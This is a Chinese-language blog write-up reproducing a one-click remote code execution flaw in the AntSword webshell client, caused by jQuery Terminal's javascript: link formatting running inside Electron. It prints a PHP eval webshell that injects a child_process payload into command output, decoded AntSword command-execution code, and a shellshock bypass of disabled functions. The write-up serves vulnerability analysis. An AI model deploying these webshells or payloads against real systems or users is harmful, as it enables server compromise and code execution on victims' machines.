对蚁剑1clickRCE的复现

蚁剑1click RCE复现

骇死我力,这波是马中马,亡中亡🤡

可利用poc

让我们来看看这条issue

https://github.com/AntSwordProject/antSword/issues/370

[[!;;;;javascript:void(require(`child_process`).exec(`calc.exe`))]{http://localhost/phpmyadmin/}]

版本是v2.1.15

jQueryTerminal,没听过啊

看看哪里有

image-20260428133911371

确实load了terminal的源码

看看jquery-terminal的文档了解一下jQuery terminal的语法

jQuery terminal

文档链接:https://terminal.jcubic.pl/api_reference.php#formatting

关键点在这个部分:

image-20260428211756665

当terminal使用echo来输出内容到终端时,有自己的语法用于在终端做渲染

例如我写了这样一个函数

$(function() {
  $('#myterm').terminal({
    hello: function(name) {
      this.echo('[[b;red;background]Hello ]' + name);
    },
    add: function(a, b) {
      this.echo(Number(a) + Number(b));
    }
  }, {
    greetings: '欢迎!',
    prompt: '> '
  });
});

接着我们输入hello 1就会看到hello首字母大写了并且颜色变红

image-20260428212423720

看看还有其他什么可以利用的内容:

You can also use basic text formatting using syntax as folow: [[!guib;<COLOR>;<BACKGROUND>]some text] will display some text:
[[ — open formatting.
u — underline.
s — strike.
o — overline.
i — italic.
b — bold.
g — glow (using css text-shadow).
! — it will create link instead of span, you need to turn off convertLinks option for this to work. from version 1.20.0 links other then ftp or http(s) was disabled by default and it enable it you need to use anyLinks: true option.
@ — it will create an image instead of span. Added in 2.8.0. It's also supported in less.
; — separator
color — color of text (hex, short hex or html/css name of the color).
; — separator.
color — background color (hex, short hex or html/css name of the color).
; — separator [optional].
class — class adeed to format span element [optional].
; — separator [optional].
text — text that will be used in data-text attribute, href if used with ! or src when used with @. This is added automatically by normalize called in split_equal.
; — separator [optional].
attribies — JSON object for the attributes, the properties are limited to those defined in $.terminal.defaults.allowedAttributes array that can contain string or regular expressions. By default the array is defined as ["title", /^aria-/, "id", /^data-/], the list may change in the future, don't depend on those properties. You can use this feature for instance to add inline styles.
] — end of format specification.
text — text that will be formated. If @ is used it will alt atttribute
] — end of formatting.

大致来说就是这个板子

[[style;color;background color]text]

向下翻我们还能看到

From version 0.9.0 you can execute commands using echo (you can return command to be executed from server) using same syntax as for formatting, if you echo: [[command arg1 arg2...]] it will execute that command.

From version 1.15.0 you can execute any terminal or cmd method using systax [[ terminal::method(arg1, arg2) ]] or [[ cmd::method(arg1, arg2) ]], in older version you'll need to create command that will invoke terminal method. You can use new in version 1.15.0 method invoke_key to execute shortcuts from server using [[ terminal::invoke_key("CTRL+L") ]].

If you want to create code that manipulate terminal formatting take a look at $.terminal.formatter object.

也就是说可以直接让终端执行已定义的命令甚至可以模拟快捷键

主要常用的功能呢就是这些

! 创建链接
@ 创建图像

!标签和XSS的美味组合

!能够创建链接

那么也就可以联系到XSS了

并且这里还是完全可控,我们就可以决定使用的协议

image-20260428224834818

我们尝试点击

image-20260428224901893

发现成功跳转到百度

无协议限制的xss转向rce

而在javascript里面,有一个特殊的伪协议,可以通过控制href直接执行任意js代码:javascript:

例如说我们写一个demo

<a href="javascript:alert(1)">hello</a>

image-20260428224325329

发现直接执行了alert(1)

当然我们还可以更过分,直接执行rce。但是需要有对应的环境,比如Nodejs,Electron

巧了,这两个蚁剑都有,也就是灾难的开始

精心制作的陷阱后门

蚁剑对后门的利用

我们知道,蚁剑是通过eval($_POST[参数])这样的马来上线的

而我们在终端执行的命令是通过Terminal类中转后再request到我们的马上

我们可以转一段流量看看

这里参考了这篇文章进行操作:蚁剑原理与魔改 - Lmg66 - 博客园

尝试连接时burp会抓到通信流量

image-20260429093514487

image-20260429093526267

我们解码看看

@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
    $ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
    $oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
    @array_push($oparr,$ocwd,sys_get_temp_dir());
    foreach($oparr as $item) {if(!@is_writable($item)){continue;};
        $tmdir=$item."/.852103";
        @mkdir($tmdir);
        if(!@file_exists($tmdir)){
            continue;
        }
        $tmdir=realpath($tmdir);
        @chdir($tmdir);
        @ini_set("open_basedir", "..");
        $cntarr=@preg_split("/\\\\|\//",$tmdir);
        for($i=0;$i<sizeof($cntarr);$i++){
            @chdir("..");
        };
        @ini_set("open_basedir","/");
        @rmdir($tmdir);
        break;
    }
    ;
}
;;
function asenc($out){
    return $out;
};
function asoutput(){
    $output=ob_get_contents();
    ob_end_clean();
    echo "65e1"."d284";
    echo @asenc($output);
    echo "4c40"."ac81";
}
ob_start();
try{
    $D=dirname($_SERVER["SCRIPT_FILENAME"]);
    if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
    $R="{$D}	";
    if(substr($D,0,1)!="/"){
        foreach(range("C","Z")as $L)
            if(is_dir("{$L}:"))
                $R.="{$L}:";
    }
    else{
        $R.="/";
    }
    $R.="	";
    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
    $s=($u)?$u["name"]:@get_current_user();
    $R.=php_uname();
    $R.="	{$s}";
    echo $R;;
}
catch(Exception $e){
    echo "ERROR://".$e->getMessage();
};
asoutput();
die();

eval的内容比较多不管了

我们再截取一段输入shell时候的流量(Windows这里演示不方便,换用kali的shell了)

image-20260429100004553

内容

@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
    $ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
    $oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
    @array_push($oparr,$ocwd,sys_get_temp_dir());
    foreach($oparr as $item) {
        if(!@is_writable($item)){
            continue;
        };
        $tmdir=$item."/.d9708df6";
        @mkdir($tmdir);
        if(!@file_exists($tmdir)){
            continue;
        }
        $tmdir=realpath($tmdir);
        @chdir($tmdir);
        @ini_set("open_basedir", "..");
        $cntarr=@preg_split("/\\\\|\//",$tmdir);
        for($i=0;$i<sizeof($cntarr);$i++){
            @chdir("..");
        };
        @ini_set("open_basedir","/");
        @rmdir($tmdir);
        break;
    };
};;
function asenc($out){
    return $out;
};
function asoutput(){
    $output=ob_get_contents();
    ob_end_clean();
    echo "941"."973";
    echo @asenc($output);
    echo "250b8"."f00ea";
}
ob_start();
try{
    $p=base64_decode(substr($_POST["je223b0724af2"],2));
    $s=base64_decode(substr($_POST["f04a385a3b9a99"],2));
    $envstr=@base64_decode(substr($_POST["of681a074b6f39"],2));
    $d=dirname($_SERVER["SCRIPT_FILENAME"]);
    $c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
    if(substr($d,0,1)=="/"){
        @putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
    }
    else{
        @putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
    }
    if(!empty($envstr)){
        $envarr=explode("|||asline|||", $envstr);
        foreach($envarr as $v) {
            if (!empty($v)) {
                @putenv(str_replace("|||askey|||", "=", $v));
            }
        }
    }
    $r="{$p} {$c}";
    function fe($f){
        $d=explode(",",@ini_get("disable_functions"));
        if(empty($d)){
            $d=array();
        }
        else{
            $d=array_map('trim',array_map('strtolower',$d));
        }
        return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));
    };
    function runshellshock($d, $c) {
        if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
            if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
                $tmp = tempnam(sys_get_temp_dir(), 'as');
                putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
                if (fe('error_log')) {
                    error_log("a", 1);
                } 
                else {
                    mail("a@127.0.0.1", "", "", "-bv");
                }
            } 
            else {
                return False;
            }
            $output = @file_get_contents($tmp);
            @unlink($tmp);
            if ($output != "") {
                print($output);
                return True;
            }
        }
        return False;
    };
    function runcmd($c){
        $ret=0;
        $d=dirname($_SERVER["SCRIPT_FILENAME"]);
        if(fe('system')){
            @system($c,$ret);
        }
        elseif(fe('passthru')){
            @passthru($c,$ret);
        }
        elseif(fe('shell_exec')){
            print(@shell_exec($c));
        }
        elseif(fe('exec')){
            @exec($c,$o,$ret);
            print(join("",$o));
        }
        elseif(fe('popen')){
            $fp=@popen($c,'r');
            while(!@feof($fp)){
                print(@fgets($fp,2048));
            }
            @pclose($fp);
        }
        elseif(fe('proc_open')){
            $p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
            while(!@feof($io[1])){
                print(@fgets($io[1],2048));
            }
            while(!@feof($io[2])){
                print(@fgets($io[2],2048));
            }
            @fclose($io[1]);
            @fclose($io[2]);
            @proc_close($p);
        }
        elseif(fe('antsystem')){
            @antsystem($c);
        }
        elseif(runshellshock($d, $c)) {
            return $ret;
        }
        elseif(substr($d,0,1)!="/" && @class_exists("COM")){
            $w=new COM('WScript.shell');
            $e=$w->exec($c);$so=$e->StdOut();
            $ret.=$so->ReadAll();$se=$e->StdErr();
            $ret.=$se->ReadAll();
            print($ret);
        }
        else{
            $ret = 127;
        }
        return $ret;
    };
    $ret=@runcmd($r." 2>&1");
    print ($ret!=0)?"ret={$ret}":"";;
}
catch(Exception $e){
    echo "ERROR://".$e->getMessage();};
asoutput();
die();

可以看出来,最后有效的调用都是asoutput函数

而echo的内容最后是直接被渲染到终端的。吗?

再将目光重新关注到蚁剑的源码上

shell输出到终端输出的过程

看看源码不难发现,对于终端的管理主要在这个js文件中

source/modules/terminal/index.js

而终端和请求接轨的地方在这里

image-20260429150217440

这里又要看到core模块

/source/core/base.js

这里能看到对目标URL的请求函数(行号313-383)

image-20260429150346418

继续看我们的index.js

image-20260429150557342

这里会调用initTerminal对终端进行初始化,会自动cd到当前的目录

核心部分就是这里
image-20260429163111098

这里就负责处理我们的request和将responce做处理后echo 到终端

也就是这里image-20260429163404106

这里就走到之前提到的noxss waf函数(/source/app.entry.js)

image-20260429163535213

可以看到这里就转义了& ' > < "这些符号

对之前jQuery terminal程式码的拦截不能说严格,只能说一点都没防

那么只要我们在回显的内容中注入我们的poc,即可触发1click RCE

poc验证

这里要回归到我们之前看到的流量

我们的每次命令执行都最后以asoutput()结尾

并且中间会在这里输出

image-20260429170246574

并被存储到缓存中后被回显

那么我们就需要在回显之前写入我们的poc

这里引用qiufeng师傅验证demo

<?php
$pass = 'cmd';
if (!isset($_POST[$pass])) {
    http_response_code(404);
    exit;
}

$code = $_POST[$pass];

if (!function_exists('get_magic_quotes_gpc')) {
    function get_magic_quotes_gpc() { return 0; }
}

$payload = '[[!;;;;javascript:void(require(`child_process`).exec(`calc`))]{Click here for phpMyAdmin}]';
$b64payload = base64_encode("\n" . $payload);
$inject = 'echo base64_decode("' . $b64payload . '");';

// 只在终端命令请求时注入 (包含 system/exec/passthru/popen 等命令执行函数)
if (preg_match('/\bsystem\b|\bexec\b|\bpassthru\b|\bpopen\b|\bshell_exec\b|\bproc_open\b/', $code)) {
    $code = str_replace('asoutput();', $inject . 'asoutput();', $code);
}

@eval($code);
?>

image-20260429171531986

至此复现完毕

后记

经过信息收集发现这也不是蚁剑第一次出现xss->RCE了,在19年就有类似的1click RCE了

参考这篇文章
蚁剑客户端RCE挖掘过程及源码分析-安全KER - 安全资讯平台

也是利用了xss+存在nodejs依赖的组合拳

并且对于这个伪协议导致的RCE,jQuery-terminal在1.21就进行了修复,只允许http/https/ftp协议建立超链接

但是也不好说升级依赖会不会带来一堆依赖不匹配的问题,确实修复noxss函数的waf是比较好的选择